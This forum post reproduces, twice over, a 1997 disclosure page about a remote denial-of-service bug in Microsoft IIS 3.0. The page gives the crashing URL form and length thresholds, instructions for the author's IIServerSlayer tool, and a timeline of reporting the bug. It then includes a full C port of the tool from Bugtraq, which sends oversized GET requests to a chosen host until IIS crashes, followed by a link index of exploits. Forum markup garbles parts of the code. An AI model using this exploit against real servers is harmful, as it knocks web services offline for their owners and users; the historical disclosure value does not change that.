Menu
Forums
All threads
Latest threads
New posts
Trending threads
New posts
Search forums
Trending
What's new
New posts
New profile posts
Latest activity
Members
Current visitors
New profile posts
Search profile posts
Upgrades
Log in
Register
What's new
Search
Search
Search titles only
By:
All threads
Latest threads
New posts
Trending threads
New posts
Search forums
Menu
Log in
Register
Navigation
Install the app
Install
More options
Contact us
Close Menu
Forums
Software Development
Programming
WEB - IIS - MICROSOFT - RAID?
JavaScript is disabled. For a better experience, please enable JavaScript in your browser before proceeding.
You are using an out of date browser. It may not display this or other websites correctly.
You should upgrade or use an
alternative browser
.
Reply to thread
Message
<blockquote data-quote="TheNotorious" data-source="post: 449986" data-attributes="member: 52791"><p>________________________________________________________</p><p></p><p> The Story</p><p></p><p> My name is Fast, and I found a bug today. I found it while trying</p><p> to determine the maximum length of a URL Microsoft's Internet</p><p> Information Server (IIS) would accept without an error. This website</p><p> is dedicated to this bug and my chronicle of it.</p><p></p><p> In case you haven't heard the details, there's a bug in Microsoft's</p><p> Internet Information Server on Windows NT (and possibly other</p><p> platforms) that allows a remote user--any user--to shut down the web</p><p> server, and consequently the web site, using nothing more than a web</p><p> browser.</p><p></p><p> This is a hugely embarrassing bug for Microsoft in my opinion,</p><p> particularly since they've just been lauded for pulling ahead of</p><p> Netscape in Web server market. Knowing that anyone with a grudge and a</p><p> twitchy keyboard could shut down any of their customer's web sites</p><p> must bear horribly on their collective conscience. (Ask yourself, was</p><p> that sarcasm?)</p><p></p><p> The Bug</p><p></p><p> I know you can't wait to know more, so here are the nitty-gritty</p><p> details on the actual bug, from the original message I sent to</p><p> InfoWorld:</p><p></p><p> I've found a severe bug that allows any remote user on the Internet to</p><p> halt web services on an Microsoft NT 4.0 server running Microsoft's</p><p> Internet Information Server version 3. This bug appears to unaffected</p><p> by the installation of Service Pack 3.</p><p></p><p> Let me explain the details of the bug and how I came across it. The</p><p> bug surfaces when a remote user requests a Web URL from the IIS server</p><p> that contains a certain number of characters (I'll call this number</p><p> the "bug threshold") and is of the following form:</p><p></p><p> http://<some web server>/?something=XXXXXXXX...</p><p></p><p> To cause the fatal error, this URL should contain a CGI name/value</p><p> pair of a certain length. Note that the user does not have to request</p><p> any specific document: the error occurs because of the length of the</p><p> URL alone. Apparently, this bug only appears when using Netscape</p><p> Navigator to contact the server because Internet Explorer won't allow</p><p> such a long URL to be sent.</p><p></p><p> The length of the URL required to cause a crash is specific to each</p><p> server, but seems to hover around 8K. Finding the correct length to</p><p> kill an IIS server requires trial and error. I've found that URLs</p><p> above the bug threshold return a "404 Object Not Found" or similar</p><p> error. Below the threshold, the requested page loads properly.</p><p> However, sending a URL who's length is exactly the bug threshold</p><p> causes the server to stop responding.</p><p></p><p> When a user sends this URL to an IIS web server, it causes an access</p><p> violation in the INETINFO.EXE process. We don't know what this small</p><p> 8k process's role is in the server's operation, but when it fails, it</p><p> causes the WWW service under IIS to stop. The site administrator must</p><p> then clear the error and restart the service to continue operation.</p><p> The bug does not always appear upon the first document request, but</p><p> repeated application will eventually cause INETINFO.EXE to fail.</p><p></p><p> A colleague, Chaison, has studied the Dr. Watson log file and</p><p> offers more information on the location of the error in the</p><p> INETINFO.EXE process:</p><p></p><p> "This particular GPF occurred at 0x77A07614 on our server. The</p><p> offending application is INETINFO.EXE, one of IIS 3.0's components.</p><p> The stamp properties of our EXE are DATE=08/09/96, TIME=01:30a,</p><p> SIZE=7440 bytes. Referencing the dump, thread ID 0xF9 performed a</p><p> string compare function which caused a read fault during an iteration</p><p> of the CMPSB (compare string byte by byte) opcode. This opcode works</p><p> off of ESI and EDI as its base pointers and ECX as its loop repeater.</p><p> I suspect that either ECX was either miscalculated to begin with, or</p><p> ESI or EDI went out of range and caused a protection exception. The</p><p> Watson error dialog reflected 0x77A07614 as the CS:EIP of the fault</p><p> when the message box popped up. The log file below confirms the</p><p> address of the error. Search the file for "FAULT ->" to jump to its</p><p> description."</p><p></p><p> See the attached file IISCRASH.TXT file for the stack dump.</p><p></p><p> I discovered the bug while trying to determine the maximum length of</p><p> the URL IIS would accept. While doing so, I found that our in-house</p><p> server stopped responding. Not realizing that this was a bug that</p><p> affected all copies of IIS, I continued my investigation using</p><p> Microsoft's site, <a href="http://www.microsoft.com" target="_blank">www.microsoft.com</a>, and inadvertently shut down their</p><p> web server as well. At this point I realized that the error was indeed</p><p> a bug that affected IIS itself.</p><p></p><p> To my knowledge, this bug has never been exploited or been used to</p><p> crash or deny service from any web site. However, just because I spoke</p><p> up about it doesn't mean that someone else hasn't already found or</p><p> been using it. All you webmasters out there using IIS, have you had</p><p> any strange crashes lately?</p><p></p><p> Are you a CyberTerrorist?</p><p></p><p> If so, please don't start your own CyberJihad by downloading the</p><p> following program and easily reproducing this bug on any number of IIS</p><p> servers all over the Internet. The Internet Worm was bad enough, and</p><p> that is not my intent.</p><p></p><p> I'm making this program available so that those of you running IIS can</p><p> more easily assess your web server's vulnerability and whether this</p><p> bug would do anything more than deny your customers service (as if</p><p> that's not bad enough).</p><p></p><p> Remember this program doesn't do anything special or sneaky, it just</p><p> makes the job of finding the already-existing bug on a particular</p><p> server somewhat easier. It does nothing that someone couldn't do in</p><p> about 5 minutes with a browser anyway, so please, no hate mail from</p><p> webmasters for making it available. Instead, blame Microsoft's bug.</p><p></p><p> Here are the details:</p><p></p><p> I created a small Java program, called IIServerSlayer, that repeatedly</p><p> hits a web server with a varying length URL until the web server stops</p><p> responding due to the IIS bug. To run the program, first ensure that</p><p> you have Java 1.0.2 installed on your machine and running properly.</p><p> Put the IIServerSlayer.class file in a directory and open a command</p><p> window located at that directory. Use the following command line:</p><p></p><p> java -classpath .;%classpath% IIServerSlayer <some IIS web server></p><p> <starting URL length></p><p></p><p> We use a starting URL length of between 8200 and 8300 to crash our</p><p> server, but one of our servers crashed in a much lower range of around</p><p> 4000 bytes. Trial and error is the only way to determine the threshold</p><p> and I suggest starting at a length of 8300. Also, don't use http:// in</p><p> front of the server name; the program does that for you.</p><p></p><p> One of the things to note about the program is that it can't really</p><p> detect if the web request is being served properly. Because the bug</p><p> doesn't always surface on the first document request with the</p><p> problematic URL, the program only decrements the length counter if an</p><p> error occurs, but assumes that server is about to crash if an error</p><p> doesn't occur and the counter has remained the same. This means that</p><p> if you start the program and don't see a series of lines like the</p><p> following:</p><p></p><p> Trying length xxxx...Done</p><p> Trying length xxxx...Done</p><p> Trying length xxxx...Done</p><p> ...</p><p></p><p> and instead see this:</p><p></p><p> Almost dead! Retrying length xxxx...Done</p><p> Almost dead! Retrying length xxxx...Done</p><p> Almost dead! Retrying length xxxx...Done</p><p></p><p> you have started with too low a URL length and need to Ctrl-C the</p><p> program and restart it with a higher length. When the program pauses</p><p> for more than a few seconds on a particular statement, you can be sure</p><p> that the web server has died. When you go to the web server and clear</p><p> the error, IIServerSlayer detects that the error occurred and gives</p><p> you a message stating so.</p><p></p><p> Download a copy of IIServerSlayer for personal, non-malicious use</p><p></p><p> Chronicle</p><p></p><p> Because the Internet's relevance to our existence is access to timely</p><p> information, I'm posting the chronicle of my experience with this bug</p><p> below in as close to real time as I can. I don't know whether it will</p><p> turn out interesting or not, but there's no way to tell until I try</p><p> it.</p><p></p><p> 6-19-97</p><p> ~3:30 PM CST I contact News Editor Michael Parsons at the trade</p><p> publication InfoWorld and tell him a strange story of a bug I've found</p><p> in IIS that allows any remote user to shut down an IIS web server.</p><p> Michael sounds keenly interested and I promise to send him additional</p><p> information and the program I've written to reproduce the bug shortly.</p><p> About 20 minutes later I send the email.</p><p> 6-19-97</p><p> 4:45 PM CST Jon P. at Microsoft calls to ask about the nature of the</p><p> bug. He sounds nervous to me and wants to get straight to the point. I</p><p> tell him that I'll send along the email I sent to InfoWorld along with</p><p> the program. He sounds skeptical, but accepts. He seems to think that</p><p> this is probably a bug Microsoft has already addressed in a service</p><p> pack or a hotfix. I'm not so sure. Let's wait and see.</p><p> 6-19-97</p><p> ~5:15 PM CST Maggie Biggs at InfoWorld calls to ask some additional</p><p> questions about the bug for an upcoming news release. She says she's</p><p> been able to reproduce the bug and wonders how it may affect other web</p><p> services in IIS like FTP. I agree to send my program to her so she can</p><p> use it to reproduce the problem. She's very friendly and helpful.</p><p> 6-19-97</p><p> 5:40 PM CST Maggie Biggs at InfoWorld emails to tell me she's</p><p> reproduced the problem on her test machines and will be assessing the</p><p> bug related to other World Wide Web services under IIS. She's stated</p><p> that one of her test machines crashed altogether, a situation she's</p><p> called "potentially...quite serious".</p><p> 6-19-97</p><p> 5:55 PM CST News is spreading like wildfire. Another journalist at</p><p> InfoWorld in Seattle calls and interviews me on the phone about the</p><p> nature of the bug. He asks if the bug would occur during normal usage</p><p> of the server and I said it probably would not due to the length of</p><p> the string.</p><p></p><p> More Info?</p><p></p><p> As more information on this problem comes to light, I'll post it here.</p><p> Keep coming back to check out the latest news.</p><p></p><p> What's with the name?</p><p></p><p> I named this website after the title of this message from an old</p><p> friend, upon hearing the news:</p><p></p><p> "You're walking the fine line between info-terrorist and "just another</p><p> guy looking to help mankind". Here's a tip: if you'd like to be</p><p> labeled info-terrorist, send an e-mail to Microsoft like those Danish</p><p> guys that found the Netscape security flaw. I think the e-mail</p><p> actually said, "OK, where's the guy with the checkbook". Then you</p><p> could adopt some crazy online name like 'LordChaos' or 'DethKing' like</p><p> those Undernet software pirates do.</p><p></p><p> "P.S. If this blows up and I get interviewed, you can count on me</p><p> saying all kinds of awful stuff: 'He was a loner. He read Soldier of</p><p> Fortune a whole lot.' Then I'd throw in a curveball to make people</p><p> really wonder: 'He would get really upset whenever 'The Tick' episode</p><p> was a rerun and would launch a new computer virus".</p><p></p><p> I promise it's not all true.</p><p></p><p> Parting Words</p><p></p><p> A colleague had the good sense to remind of something I'd almost</p><p> forgotten before today:</p><p></p><p> You get what you pay for</p><p></p><p> Copyright C 1997 by Todd Fast. All rights reserved.</p><p> Contact the author, Todd Fast, at <a href="mailto:tfast@eden.com">tfast@eden.com</a></p><p></p><p>Date: Wed, 2 Jul 1997 21:03:31 +0200 From: Andrea Arcangeli <<a href="mailto:arcangeli@mbox.queen.it">arcangeli@mbox.queen.it</a>> To: <a href="mailto:BUGTRAQ@NETSPACE.ORG">BUGTRAQ@NETSPACE.ORG</a> Subject: gcc port of IIServerSlayer</p><p></p><p>/* Some days ago I found the page <a href="http://www.eden.com/~tfast/jihad.html" target="_blank">http://www.eden.com/~tfast/jihad.html</a></p><p></p><p> Then I found the java program IIServerSlayer.class made by</p><p> Todd Fast <<a href="mailto:tfast@eden.com">tfast@eden.com</a>>, the author of the web pages.</p><p> Now I have ported that program in gcc from java using strace and</p><p> disassembling IIServerSlayer.class with javap (part of jdk).</p><p></p><p> For now is tested by me only on Linux 2.1.42 compiled with gcc 2.7.2.2</p><p> and glibc.</p><p> by Andrea Arcangeli <<a href="mailto:arcangeli@mbox.queen.it">arcangeli@mbox.queen.it</a>> */</p><p></p><p> include <stdio.h></p><p> include <stdlib.h></p><p> include <string.h></p><p> include <netdb.h></p><p> include <netinet/in.h></p><p> include <sys/socket.h></p><p> include <unistd.h></p><p> include <arpa/inet.h></p><p> include <signal.h></p><p></p><p>int s; struct sockaddr_in addr, spoofedaddr; struct hostent *host;</p><p></p><p>int open_sock(int sock, char *server, int port) {</p><p></p><p>struct sockaddr_in blah;</p><p>struct hostent *he;</p><p>bzero((char *)&blah,sizeof(blah));</p><p>blah.sin_family=AF_INET;</p><p>blah.sin_port=htons(port);</p><p>if ((he = gethostbyname(server)) != NULL) {</p><p> bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);</p><p>}</p><p>else {</p><p> if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {</p><p> perror("gethostbyname()");</p><p> return(2);</p><p> }</p><p>}</p><p>if (connect(sock,(struct sockaddr *)&blah,16)==-1) {</p><p> perror("connect()");</p><p> close(sock);</p><p> return(3);</p><p>}</p><p>return 0;</p><p></p><p>}</p><p></p><p>char *generate_die_string(int lenght) {</p><p></p><p>char letter='X';</p><p>char *str_begin = "GET /?bye=",*str_end = " HTTP/1.0\r\n\r\n",*str;</p><p>int i;</p><p>str = (char *)malloc(lenght+strlen(str_end)+strlen(str_begin)+1);</p><p>strcpy(str,str_begin);</p><p>for(i=strlen(str_begin);i<lenght+strlen(str_begin);i++) str<em> = letter;</em></p><p><em>str<em>=0;</em></em></p><p><em><em>strcat(str,str_end);</em></em></p><p><em><em>return (char *)str;</em></em></p><p></p><p><em><em>}</em></em></p><p></p><p><em><em>void IIServerSlayer(char *target,int lenght,int port,int flags) {</em></em></p><p></p><p><em><em>char buff[2],header[512],*IIS_string = "Server: Microsoft-IIS/3.0";</em></em></p><p><em><em>char *IIS_patch = "Bad Request";</em></em></p><p><em><em>int count = 0,return_status;</em></em></p><p><em><em>if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {</em></em></p><p><em><em> perror("socket()");</em></em></p><p><em><em> exit(1);</em></em></p><p><em><em>}</em></em></p><p><em><em>if((return_status = open_sock(s,target,port))) exit(return_status);</em></em></p><p><em><em>if(lenght) printf("Sending request lenght = %d to %s\n",lenght,target);</em></em></p><p><em><em>else printf("Sending request to test if %s is a Microsoft-IIS/3.0 server\n"</em></em></p><p><em><em> ,target);</em></em></p><p><em><em>send(s,generate_die_string(lenght),strlen(generate_die_string(lenght)),0);</em></em></p><p><em><em>printf("Waiting for the reply from %s\n",target);</em></em></p><p><em><em>buff[1]=0;</em></em></p><p><em><em>while(recv(s,buff,1,0) == 1) {</em></em></p><p><em><em> if(flags & 1) printf("%s",buff);</em></em></p><p><em><em> else if(!div(count,50).rem) printf(".");</em></em></p><p><em><em> if(count < 511) header[count]=buff[0];</em></em></p><p><em><em> count++;</em></em></p><p><em><em>}</em></em></p><p><em><em>printf("\n");</em></em></p><p><em><em>header[511]=0;</em></em></p><p><em><em>if(strstr(header,IIS_string) == NULL && lenght == 0) {</em></em></p><p><em><em> printf("This is not a Microsoft-IIS/3.0 web server\n");</em></em></p><p><em><em> if(!(flags & 2)) exit(0);</em></em></p><p><em><em>}</em></em></p><p><em><em>else if(!lenght) printf("Ok, this is a Microsoft-IIS/3.0 web server\n");</em></em></p><p><em><em>if(strstr(header,IIS_patch) != NULL) {</em></em></p><p><em><em> printf("This IIS/3.0 web server is patched against this exploit\n");</em></em></p><p><em><em> if(!(flags & 2)) exit(0);</em></em></p><p><em><em>}</em></em></p><p><em><em>close(s);</em></em></p><p></p><p><em><em>}</em></em></p><p></p><p><em><em>void main(int argc,char **argv) {</em></em></p><p></p><p><em><em>int i = 1,port = 80,lenght = 8180,flags = 0,param = 0,pid;</em></em></p><p><em><em>if (argc < 2 ) {</em></em></p><p><em><em> printf("Usage: %s [-v] [-f] <target> [string_lenght] [port]\n",argv[0]);</em></em></p><p><em><em> printf("[-v] = verbose mode to view the server reply\n");</em></em></p><p><em><em> printf("[-f] = force running over non or patched IIS/3.0 web server\n");</em></em></p><p><em><em> exit(0);</em></em></p><p><em><em>}</em></em></p><p><em><em>for(i=1;i<argc;i++) {</em></em></p><p><em><em> if(!strcmp(argv<em>,"-v")) { param++; flags |= 1; }</em></em></em></p><p><em><em><em> if(!strcmp(argv<em>,"-f")) { param++; flags |= 2; }</em></em></em></em></p><p><em><em><em><em>}</em></em></em></em></p><p><em><em><em><em>if(argc > param+2) lenght = atoi(argv[param+2]);</em></em></em></em></p><p><em><em><em><em>if(argc > param+3) port = atoi(argv[param+3]);</em></em></em></em></p><p><em><em><em><em>for(i=0;i<3;i++,lenght++) {</em></em></em></em></p><p><em><em><em><em> if(i) IIServerSlayer(argv[param+1],lenght,port,flags);</em></em></em></em></p><p><em><em><em><em> else IIServerSlayer(argv[param+1],0,port,flags);</em></em></em></em></p><p><em><em><em><em> if(i == 1 || i == 0) lenght--;</em></em></em></em></p><p><em><em><em><em>}</em></em></em></em></p><p><em><em><em><em>if((pid = fork())) {</em></em></em></em></p><p><em><em><em><em> if(pid == -1) {</em></em></em></em></p><p><em><em><em><em> perror("I can' t fork\n");</em></em></em></em></p><p><em><em><em><em> exit(-1);</em></em></em></em></p><p><em><em><em><em> }</em></em></em></em></p><p><em><em><em><em> usleep(60000000); /* wait for 1 minute */</em></em></em></em></p><p><em><em><em><em> kill(pid,SIGTERM);</em></em></em></em></p><p><em><em><em><em>}</em></em></em></em></p><p><em><em><em><em>else {</em></em></em></em></p><p><em><em><em><em> IIServerSlayer(argv[param+1],lenght,port,flags);</em></em></em></em></p><p><em><em><em><em> printf("Sorry, %s is alive yet\n",argv[param+1]);</em></em></em></em></p><p><em><em><em><em>}</em></em></em></em></p><p><em><em><em><em>exit(0);</em></em></em></em></p><p></p><p><em><em><em><em>}</em></em></em></em></p><p></p><p><em><em><em><em> More Exploits!</em></em></em></em></p><p></p><p><em><em><em><em>The master index of all exploits is available here (Very large file) Or you can pick your favorite operating system:</em></em></em></em></p><p></p><p><em><em><em><em>All OS's Linux Solaris/SunOS Micro$oft</em></em></em></em></p><p><em><em><em><em>*BSD Macintosh AIX IRIX</em></em></em></em></p><p><em><em><em><em>ULTRIX/Digital UNIXHP/UX SCO Remote exploits</em></em></em></em></p><p></p><p><em><em><em><em>By TF<3</em></em></em></em></p></blockquote><p></p>
[QUOTE="TheNotorious, post: 449986, member: 52791"] ________________________________________________________ The Story My name is Fast, and I found a bug today. I found it while trying to determine the maximum length of a URL Microsoft's Internet Information Server (IIS) would accept without an error. This website is dedicated to this bug and my chronicle of it. In case you haven't heard the details, there's a bug in Microsoft's Internet Information Server on Windows NT (and possibly other platforms) that allows a remote user--any user--to shut down the web server, and consequently the web site, using nothing more than a web browser. This is a hugely embarrassing bug for Microsoft in my opinion, particularly since they've just been lauded for pulling ahead of Netscape in Web server market. Knowing that anyone with a grudge and a twitchy keyboard could shut down any of their customer's web sites must bear horribly on their collective conscience. (Ask yourself, was that sarcasm?) The Bug I know you can't wait to know more, so here are the nitty-gritty details on the actual bug, from the original message I sent to InfoWorld: I've found a severe bug that allows any remote user on the Internet to halt web services on an Microsoft NT 4.0 server running Microsoft's Internet Information Server version 3. This bug appears to unaffected by the installation of Service Pack 3. Let me explain the details of the bug and how I came across it. The bug surfaces when a remote user requests a Web URL from the IIS server that contains a certain number of characters (I'll call this number the "bug threshold") and is of the following form: http://<some web server>/?something=XXXXXXXX... To cause the fatal error, this URL should contain a CGI name/value pair of a certain length. Note that the user does not have to request any specific document: the error occurs because of the length of the URL alone. Apparently, this bug only appears when using Netscape Navigator to contact the server because Internet Explorer won't allow such a long URL to be sent. The length of the URL required to cause a crash is specific to each server, but seems to hover around 8K. Finding the correct length to kill an IIS server requires trial and error. I've found that URLs above the bug threshold return a "404 Object Not Found" or similar error. Below the threshold, the requested page loads properly. However, sending a URL who's length is exactly the bug threshold causes the server to stop responding. When a user sends this URL to an IIS web server, it causes an access violation in the INETINFO.EXE process. We don't know what this small 8k process's role is in the server's operation, but when it fails, it causes the WWW service under IIS to stop. The site administrator must then clear the error and restart the service to continue operation. The bug does not always appear upon the first document request, but repeated application will eventually cause INETINFO.EXE to fail. A colleague, Chaison, has studied the Dr. Watson log file and offers more information on the location of the error in the INETINFO.EXE process: "This particular GPF occurred at 0x77A07614 on our server. The offending application is INETINFO.EXE, one of IIS 3.0's components. The stamp properties of our EXE are DATE=08/09/96, TIME=01:30a, SIZE=7440 bytes. Referencing the dump, thread ID 0xF9 performed a string compare function which caused a read fault during an iteration of the CMPSB (compare string byte by byte) opcode. This opcode works off of ESI and EDI as its base pointers and ECX as its loop repeater. I suspect that either ECX was either miscalculated to begin with, or ESI or EDI went out of range and caused a protection exception. The Watson error dialog reflected 0x77A07614 as the CS:EIP of the fault when the message box popped up. The log file below confirms the address of the error. Search the file for "FAULT ->" to jump to its description." See the attached file IISCRASH.TXT file for the stack dump. I discovered the bug while trying to determine the maximum length of the URL IIS would accept. While doing so, I found that our in-house server stopped responding. Not realizing that this was a bug that affected all copies of IIS, I continued my investigation using Microsoft's site, [URL='http://www.microsoft.com']www.microsoft.com[/URL], and inadvertently shut down their web server as well. At this point I realized that the error was indeed a bug that affected IIS itself. To my knowledge, this bug has never been exploited or been used to crash or deny service from any web site. However, just because I spoke up about it doesn't mean that someone else hasn't already found or been using it. All you webmasters out there using IIS, have you had any strange crashes lately? Are you a CyberTerrorist? If so, please don't start your own CyberJihad by downloading the following program and easily reproducing this bug on any number of IIS servers all over the Internet. The Internet Worm was bad enough, and that is not my intent. I'm making this program available so that those of you running IIS can more easily assess your web server's vulnerability and whether this bug would do anything more than deny your customers service (as if that's not bad enough). Remember this program doesn't do anything special or sneaky, it just makes the job of finding the already-existing bug on a particular server somewhat easier. It does nothing that someone couldn't do in about 5 minutes with a browser anyway, so please, no hate mail from webmasters for making it available. Instead, blame Microsoft's bug. Here are the details: I created a small Java program, called IIServerSlayer, that repeatedly hits a web server with a varying length URL until the web server stops responding due to the IIS bug. To run the program, first ensure that you have Java 1.0.2 installed on your machine and running properly. Put the IIServerSlayer.class file in a directory and open a command window located at that directory. Use the following command line: java -classpath .;%classpath% IIServerSlayer <some IIS web server> <starting URL length> We use a starting URL length of between 8200 and 8300 to crash our server, but one of our servers crashed in a much lower range of around 4000 bytes. Trial and error is the only way to determine the threshold and I suggest starting at a length of 8300. Also, don't use http:// in front of the server name; the program does that for you. One of the things to note about the program is that it can't really detect if the web request is being served properly. Because the bug doesn't always surface on the first document request with the problematic URL, the program only decrements the length counter if an error occurs, but assumes that server is about to crash if an error doesn't occur and the counter has remained the same. This means that if you start the program and don't see a series of lines like the following: Trying length xxxx...Done Trying length xxxx...Done Trying length xxxx...Done ... and instead see this: Almost dead! Retrying length xxxx...Done Almost dead! Retrying length xxxx...Done Almost dead! Retrying length xxxx...Done you have started with too low a URL length and need to Ctrl-C the program and restart it with a higher length. When the program pauses for more than a few seconds on a particular statement, you can be sure that the web server has died. When you go to the web server and clear the error, IIServerSlayer detects that the error occurred and gives you a message stating so. Download a copy of IIServerSlayer for personal, non-malicious use Chronicle Because the Internet's relevance to our existence is access to timely information, I'm posting the chronicle of my experience with this bug below in as close to real time as I can. I don't know whether it will turn out interesting or not, but there's no way to tell until I try it. 6-19-97 ~3:30 PM CST I contact News Editor Michael Parsons at the trade publication InfoWorld and tell him a strange story of a bug I've found in IIS that allows any remote user to shut down an IIS web server. Michael sounds keenly interested and I promise to send him additional information and the program I've written to reproduce the bug shortly. About 20 minutes later I send the email. 6-19-97 4:45 PM CST Jon P. at Microsoft calls to ask about the nature of the bug. He sounds nervous to me and wants to get straight to the point. I tell him that I'll send along the email I sent to InfoWorld along with the program. He sounds skeptical, but accepts. He seems to think that this is probably a bug Microsoft has already addressed in a service pack or a hotfix. I'm not so sure. Let's wait and see. 6-19-97 ~5:15 PM CST Maggie Biggs at InfoWorld calls to ask some additional questions about the bug for an upcoming news release. She says she's been able to reproduce the bug and wonders how it may affect other web services in IIS like FTP. I agree to send my program to her so she can use it to reproduce the problem. She's very friendly and helpful. 6-19-97 5:40 PM CST Maggie Biggs at InfoWorld emails to tell me she's reproduced the problem on her test machines and will be assessing the bug related to other World Wide Web services under IIS. She's stated that one of her test machines crashed altogether, a situation she's called "potentially...quite serious". 6-19-97 5:55 PM CST News is spreading like wildfire. Another journalist at InfoWorld in Seattle calls and interviews me on the phone about the nature of the bug. He asks if the bug would occur during normal usage of the server and I said it probably would not due to the length of the string. More Info? As more information on this problem comes to light, I'll post it here. Keep coming back to check out the latest news. What's with the name? I named this website after the title of this message from an old friend, upon hearing the news: "You're walking the fine line between info-terrorist and "just another guy looking to help mankind". Here's a tip: if you'd like to be labeled info-terrorist, send an e-mail to Microsoft like those Danish guys that found the Netscape security flaw. I think the e-mail actually said, "OK, where's the guy with the checkbook". Then you could adopt some crazy online name like 'LordChaos' or 'DethKing' like those Undernet software pirates do. "P.S. If this blows up and I get interviewed, you can count on me saying all kinds of awful stuff: 'He was a loner. He read Soldier of Fortune a whole lot.' Then I'd throw in a curveball to make people really wonder: 'He would get really upset whenever 'The Tick' episode was a rerun and would launch a new computer virus". I promise it's not all true. Parting Words A colleague had the good sense to remind of something I'd almost forgotten before today: You get what you pay for Copyright C 1997 by Todd Fast. All rights reserved. Contact the author, Todd Fast, at [EMAIL]tfast@eden.com[/EMAIL] Date: Wed, 2 Jul 1997 21:03:31 +0200 From: Andrea Arcangeli <[EMAIL]arcangeli@mbox.queen.it[/EMAIL]> To: [EMAIL]BUGTRAQ@NETSPACE.ORG[/EMAIL] Subject: gcc port of IIServerSlayer /* Some days ago I found the page [URL]http://www.eden.com/~tfast/jihad.html[/URL] Then I found the java program IIServerSlayer.class made by Todd Fast <[EMAIL]tfast@eden.com[/EMAIL]>, the author of the web pages. Now I have ported that program in gcc from java using strace and disassembling IIServerSlayer.class with javap (part of jdk). For now is tested by me only on Linux 2.1.42 compiled with gcc 2.7.2.2 and glibc. by Andrea Arcangeli <[EMAIL]arcangeli@mbox.queen.it[/EMAIL]> */ include <stdio.h> include <stdlib.h> include <string.h> include <netdb.h> include <netinet/in.h> include <sys/socket.h> include <unistd.h> include <arpa/inet.h> include <signal.h> int s; struct sockaddr_in addr, spoofedaddr; struct hostent *host; int open_sock(int sock, char *server, int port) { struct sockaddr_in blah; struct hostent *he; bzero((char *)&blah,sizeof(blah)); blah.sin_family=AF_INET; blah.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) { bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length); } else { if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) { perror("gethostbyname()"); return(2); } } if (connect(sock,(struct sockaddr *)&blah,16)==-1) { perror("connect()"); close(sock); return(3); } return 0; } char *generate_die_string(int lenght) { char letter='X'; char *str_begin = "GET /?bye=",*str_end = " HTTP/1.0\r\n\r\n",*str; int i; str = (char *)malloc(lenght+strlen(str_end)+strlen(str_begin)+1); strcpy(str,str_begin); for(i=strlen(str_begin);i<lenght+strlen(str_begin);i++) str[I] = letter; str[I]=0; strcat(str,str_end); return (char *)str;[/I][/I] [I][I]}[/I][/I] [I][I]void IIServerSlayer(char *target,int lenght,int port,int flags) {[/I][/I] [I][I]char buff[2],header[512],*IIS_string = "Server: Microsoft-IIS/3.0"; char *IIS_patch = "Bad Request"; int count = 0,return_status; if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket()"); exit(1); } if((return_status = open_sock(s,target,port))) exit(return_status); if(lenght) printf("Sending request lenght = %d to %s\n",lenght,target); else printf("Sending request to test if %s is a Microsoft-IIS/3.0 server\n" ,target); send(s,generate_die_string(lenght),strlen(generate_die_string(lenght)),0); printf("Waiting for the reply from %s\n",target); buff[1]=0; while(recv(s,buff,1,0) == 1) { if(flags & 1) printf("%s",buff); else if(!div(count,50).rem) printf("."); if(count < 511) header[count]=buff[0]; count++; } printf("\n"); header[511]=0; if(strstr(header,IIS_string) == NULL && lenght == 0) { printf("This is not a Microsoft-IIS/3.0 web server\n"); if(!(flags & 2)) exit(0); } else if(!lenght) printf("Ok, this is a Microsoft-IIS/3.0 web server\n"); if(strstr(header,IIS_patch) != NULL) { printf("This IIS/3.0 web server is patched against this exploit\n"); if(!(flags & 2)) exit(0); } close(s);[/I][/I] [I][I]}[/I][/I] [I][I]void main(int argc,char **argv) {[/I][/I] [I][I]int i = 1,port = 80,lenght = 8180,flags = 0,param = 0,pid; if (argc < 2 ) { printf("Usage: %s [-v] [-f] <target> [string_lenght] [port]\n",argv[0]); printf("[-v] = verbose mode to view the server reply\n"); printf("[-f] = force running over non or patched IIS/3.0 web server\n"); exit(0); } for(i=1;i<argc;i++) { if(!strcmp(argv[I],"-v")) { param++; flags |= 1; } if(!strcmp(argv[I],"-f")) { param++; flags |= 2; } } if(argc > param+2) lenght = atoi(argv[param+2]); if(argc > param+3) port = atoi(argv[param+3]); for(i=0;i<3;i++,lenght++) { if(i) IIServerSlayer(argv[param+1],lenght,port,flags); else IIServerSlayer(argv[param+1],0,port,flags); if(i == 1 || i == 0) lenght--; } if((pid = fork())) { if(pid == -1) { perror("I can' t fork\n"); exit(-1); } usleep(60000000); /* wait for 1 minute */ kill(pid,SIGTERM); } else { IIServerSlayer(argv[param+1],lenght,port,flags); printf("Sorry, %s is alive yet\n",argv[param+1]); } exit(0);[/I][/I][/I][/I] [I][I][I][I]}[/I][/I][/I][/I] [I][I][I][I] More Exploits![/I][/I][/I][/I] [I][I][I][I]The master index of all exploits is available here (Very large file) Or you can pick your favorite operating system:[/I][/I][/I][/I] [I][I][I][I]All OS's Linux Solaris/SunOS Micro$oft *BSD Macintosh AIX IRIX ULTRIX/Digital UNIXHP/UX SCO Remote exploits[/I][/I][/I][/I] [I][I][I][I]By TF<3[/I][/I][/I][/I] [/QUOTE]
Insert quotes…
Verification
Post reply
Forums
Software Development
Programming
WEB - IIS - MICROSOFT - RAID?
Top